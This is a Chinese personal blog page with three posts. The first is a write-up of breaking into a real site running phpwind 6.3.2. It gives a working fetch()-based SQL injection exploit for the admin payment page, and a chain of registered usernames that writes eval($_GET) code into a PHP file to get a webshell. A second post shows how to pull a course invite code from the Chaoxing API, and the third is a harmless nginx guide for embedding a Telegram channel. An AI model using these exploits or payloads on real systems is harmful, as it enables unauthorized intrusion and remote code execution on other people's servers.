phpwind 6.3.2 前/后台getshell

起因 && TIPS

如果后台开启了首页生日显示,那么就可以前台getshell

因为日到了某些远古站用的是6.3.2,幸苦拿下了后台,但是没办法getshell。本来想直接备份走人的,但是似乎当前的权限不够备份数据

然后旁站和子域名and其他信息搜集了一堆打不下来。

虽说后台注入很多,比如修复表啊

注入1.png

然而这里是的语句没办法注入,但是在 扩展功能 -> 网上支付 那里,可以有一个select和insert类型的注入。

以下是某x子大佬写的注入的exp

payload=prompt("payload?","' and extractvalue(1,concat(0x7e,(      ),0x7e)) #")
payload=encodeURIComponent(payload)
fetch("https://********/后台地址.php?adminjob=userpay&verify=******&", {
  "headers": {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "cache-control": "no-cache",
    "content-type": "application/x-www-form-urlencoded",
    "pragma": "no-cache",
    "sec-fetch-dest": "iframe",
    "sec-fetch-mode": "navigate",
    "sec-fetch-site": "same-origin",
    "sec-fetch-user": "?1",
    "upgrade-insecure-requests": "1"
  },
  "referrer": "https://******/后台地址.php?adminjob=userpay",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "action=currrate&userpay%5Bol_onlinepay%5D=0&userpay%5Bol_whycolse%5D=1&userpay%5Bol_tenpay%5D=adawcft&userpay%5Bol_a" + payload + "%5D=&userpay%5Bol_payto%5D=&userpay%5Bol_paypal%5D=&userpay%5Bol_paypalcode%5D=luqH6DDbionEDFHTEnwtMpqiyZMlLspNWQimPEgH&userpay%5Bol_99bill%5D=&userpay%5Bol_99billcode%5D=",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(d=>d.text()).then(c=>{document.querySelector('body').innerHTML="";document.write(c);});

用法是直接在后台f12然后在括号中输入sql语句就行

扫了一波sql权限很低然后密码字段bcrtpy加密了解不开

原本想着insert一个管理者权限的管理员,或者找一个update类型的诸如点,把管理员的密码改成我们当前打下来的这个用户的密码,然后看了下代码,tmd管理者权限是硬编码到php里的。就只好想办法用其他方式了。

分析

首先定位漏洞点
birthday.jpg
发现一个写道php的操作,然后跟进
birthday2.jpg
发现写文件操作并没有过滤!
那我们二话不说注册一个账户,用户名为';phpinfo();//
phpinfo.jpg
绕过成功。

然后我正想着,直接用eval走上去的时候,一看
long.jpg
没办法,最后只能注册多个用户写出payload了。
4.png
payload如下

';$a="_GET";'
';$b=$$a;'
';$c=$b[a];'
';$x=$c;'
';eval($x);'

总结

所以如果6.3.2默认开启首页显示生日用户的话,就可以用这个方法,注册5个用户,用户名为上图,然后生日设置成明天,然后12点一过就可以上去梭哈了。

然而这也有局限性,你得保证当天用户生日数量不大于195,因为代码中默认显示200个,所以超过200会挤掉。而我们新注册的id很靠后,所以绝对是会被挤掉的。所以你只能祈祷了。

如果你是管理员就好办了。自己添加几个用户然后开启这个功能,瞬间就能打了。当然,你也会遇到大于200问题,不过这时候好办,你可以用上面的诸如点,用如下语句
SELECT email FROM pw_members WHERE MONTH(bday)='月份' AND DAYOFMONTH(bday)='日期' 来查找当天过生日的id比较靠前的用户,然后直接用后台系统管理功能,修改的用户名为我们payload,然后再开启首页生日显示。就ok了

Tags: none

超星学习通普通学生邀请码获取/查看

过了半学期才发现没加进这门课,因为用的都是自动签到,现在过了半学期也不敢找老师要。所以就抓了个包。
原理很简单,找你同学,去章节页面,叫他把链接地址发过来就行,找到其中的courseid,填到下面这个get地址访问即可,比如
2284845547.png

https://mooc1-api.chaoxing.com/gas/course?id=找你同学要&userid=userid&fields=clazz.fields(id,name,chatid,bbsid,studentcount,invitecode).rankid(2)&view=json

访问后会有如下
TIM截图20200430142203.png
找到你对应的班级,其中inviteCode就是邀请码了。

Tags: 学习通, 超星, mooc

在你的首页添加个tgchannel链接

就比如我这首页一样。之前只做了嵌入和反代,没有反代资源,一开始还觉得好好的,但是我这个24h墙外用户,突然有一天没关梯子就上来,看到css什么样式全都爆炸了,所以赶快就修了。感谢鸟姐的nginx的配置文件,咱就直接抄过来了

原理

1.反代 ,用于消除telegram.org的X-Frame-Options,让它可以嵌入到你的iframe中。以及反代些资源让墙内用户可以看到
2.iframe嵌入

第一步,反代

首先你得拥有一个tgchannel,然后去访问他的网页版,网页版地址是https://t.me/s/你的频道名称,我的频道是

https://t.me/s/bie_channel

之后打开在你的nginx配置文件中,新建一个location,随便找个地方,我是直接新建了个other.9bie.org用来作为反代。

location / {
        
        proxy_redirect off;
        proxy_cache_methods GET POST;
        proxy_set_header Host "t.me";
        proxy_hide_header "Set-Cookie";
        proxy_hide_header 'X-Frame-Options';
        proxy_pass https://t.me/s/bie_channel;}

这样一个反代就配置完成了,如果只针对墙外用户的话那么到这里差不多就结束了。
但是针对墙内用户你会发现iframe里面的地址,比如telegram.org等指向css/js的地址是无法访问的,导致墙内用户会丢样式。
于是我们得把这些css/js也得反代了。

location ^~/js/ {
        proxy_pass https://telegram.org/js/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~ /css/ {
        proxy_pass https://telegram.org/css/;
        proxy_redirect off;
        proxy_set_header Host "telegram.org";
  }
  location ^~/file/ {
        proxy_pass https://cdn5.telesco.pe/file/;
        proxy_redirect off;
        proxy_cache_valid any 1d;
        proxy_set_header Host "cdn5.telesco.pe";
        expires @1d;
  }

修改了这些还不够,我们还得把页面内部的数据给替换掉了,这里就设计到了一个东西sub_filter,这是nginx自带的一个扩展,用于替换页面内的数据,用法是

sub_filter [原数据] [被替换数据]

你得使用nginx -V (注意大写),查看自己的nginx是否安装了这个扩展

TIM截图20200409173905.png
查看是否有--with-http_sub_module,如果有就直接忽略下面几行,如果没有
你需要吧configure arguments:后面的内容全部复制下来,然后查看nginx版本,下载相同版本的源代码。
解压,然后在目录下,运行./configure 你上面复制的内容 --with-http_sub_module
之后运行 make & make install,这样sub_filter就安装到你的nginx中啦。

之后,只需要修改前面的location /的内容,添加如下几行

proxy_set_header Accept-Encoding "";
gzip off;
sub_filter_once off;
sub_filter_types "*";
sub_filter "//telegram.org/js/" "/js/";
sub_filter "//telegram.org/css/" "/css/";
subs_filter "https://cdn5.telesco.pe/file/" "/file/";
subs_filter "https:\/\/cdn5.telesco.pe\/file\/" "\/file\/";

记住

proxy_set_header Accept-Encoding "";
gzip off;

很重要,之前被这个坑了很久,这玩意会把内容压缩,于是你就替换不了了。做完这上面这些,只需要运行
service nginx restart 重启下你的nginx就完事了

最后

之后,直接新建一个文章,在文章中插入
<iframe src="https://other.9bie.org" style="width:100%;height:400px"></iframe>其中width和height根据你自己的喜好大小来定。

然后再随便找个文章置顶插件就行。或者你直接编辑你主题的代码放上去也不是不行,我前端实在垃圾,就直接弄成文章版本的了。

Tags: tg, 频道